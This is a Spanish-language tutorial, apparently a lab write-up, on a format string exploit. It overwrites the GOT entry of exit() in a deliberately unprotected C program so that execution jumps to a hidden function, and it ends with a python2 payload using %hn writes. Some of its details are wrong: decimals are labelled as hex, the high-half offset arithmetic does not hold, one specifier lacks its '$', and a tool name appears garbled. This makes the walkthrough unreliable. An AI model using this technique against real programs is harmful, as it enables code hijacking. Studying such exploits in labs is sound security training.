Vulnerabilidad Format string usando GOT.

%x Hexadecimal
%s Cadena de caracteres
%p Puntero a direcciones
%d Integer
%u Unsigned Integer
%o Octal
%f Flotante
%c Caracter
n imprimir

Vamos a compilar este código sin algunas protecciones

void expl_got()
{
printf("Lograste la vulnerabilidad de GOT\n");
}
void vuln()
{
char buffer[128];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
compilamos esté código
gcc -m32 -z execstack -z norelro -no-pie -fno-stack-protector -o formato3 formato3.c

El objetivo aquí es llegar a cierta zona, en este caso tenemos que activar la función expl_got(), para esto necesitamos la ayuda de un jmp y las librerías tienen esos jmp que necesitamos, y para eso utilizaremos GOT.



Ok, ya vimos que si es vulnerable, la dirección donde se sobrescribe y acortamos el formato para empezar.



Ahora vamos a hacerlo desde GDB para ver que está pasando y vamos a buscar la dirección donde esta la funcion expl_got() que sería.





Listo, pero ahora, ¿cómo llegamos ahí?, pues usemos un jmp que esta relacionado a GOT, vamos a utilizar la herramienta masamunpex y busquemos un un JUMP que nos pueda funcionar.



Podemos ver que exit() es una posibilidad y está en la dirección 0x0804b258, vamos a buscarla con GDB, ¿y porqué exit()?, porque no podemos sobrescribir lo que necesitamos como puts o printf, que es lo que no ayudará a meter la dirección ni tampoco gets, porque ahí es donde escribiremos la dirección, lo mejor es exit().

Listo, ya tenemos el jmp para llegar a la funcion, ahora tenemos que hacer como en format string, codificar la dirección para que printf la sobrescriba en exit() y apunte a expl_got().



Vamos a ver primero si sobreescribe la dirección.



Perfecto, se sobreescribe, ahora tenemos que codificar la dirección de 0x08049196 → expl_got para sobreescribir el jmp y mandarlo a expl_got() en vez de exit().

Tenemos que tomar High y Low, que sería 0x0804 - 0x9196, hagamos la prueba primero con 4 bytes y después con los 8 que necesitamos.

0x37266 = 37270-4 = 37266



Si esta funcionando, ahora quitemos los 8 bytes y colocamos el high y low en su posición ideal.

0x37266 = 37270 - 8 = 37262
0x0804 = 37270 - 2052 = 35218
$(python2 -c 'print "\x58\xb2\x04\x08\x56\xb2\x04\x08" + "%37262x%4$hn%35218x%8hn"')



Le damos en continuar y listo.